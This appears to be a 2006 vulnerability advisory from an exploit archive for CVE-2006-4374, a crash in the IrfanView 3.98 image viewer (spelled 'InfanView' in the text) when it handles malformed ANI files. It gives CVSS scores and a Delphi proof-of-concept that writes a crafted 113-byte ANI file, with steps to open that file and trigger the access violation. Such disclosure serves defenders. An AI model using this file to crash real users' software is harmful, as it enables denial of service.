InfanView 3.98 (with plugins) - Access violation at processing images ANI files

2006.08.28

Credit: sehato

Risk: Medium

Local: Yes

Remote: Yes

CVE: CVE-2006-4374

CWE: CWE-Other

CVSS Base Score: 2.6/10

Impact Subscore: 2.9/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

Example (in Delphi):

===============ani.dpr===============

program ani;

{$APPTYPE CONSOLE}

const

FileName='file.ani';

Len=113;

Buf=#$52#$49#$46#$46#$00#$00#$00#$00#$41#$43#$4F#$4E#$00#$00#$00#$00#$24
#$00+

#$00#$00#$24#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00
#$00+

#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00
#$00+

#$4C#$49#$53#$54#$00#$00#$00#$00#$66#$72#$61#$6D#$69#$63#$6F#$6E#$00#$00
#$00+

#$00#$00#$00#$00#$00#$01#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$02
#$00+

#$16#$00#$00#$00#$28#$00#$00#$00#$FF#$FF#$FF#$00#$02#$00#$00#$00#$00#$00
#$01;

var

F:File;

I:Byte;

begin

AssignFile(F,FileName);

Rewrite(F,1);

BlockWrite(F, Buf, Len);

CloseFile(F);

end.

===============ani.dpr===============

1) Compile and Run "ani.dpr" with Delphi

2) Open "file.ani" with InfanView

See this note in RAW Version

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InfanView 3.98 (with plugins) - Access violation at processing images ANI files

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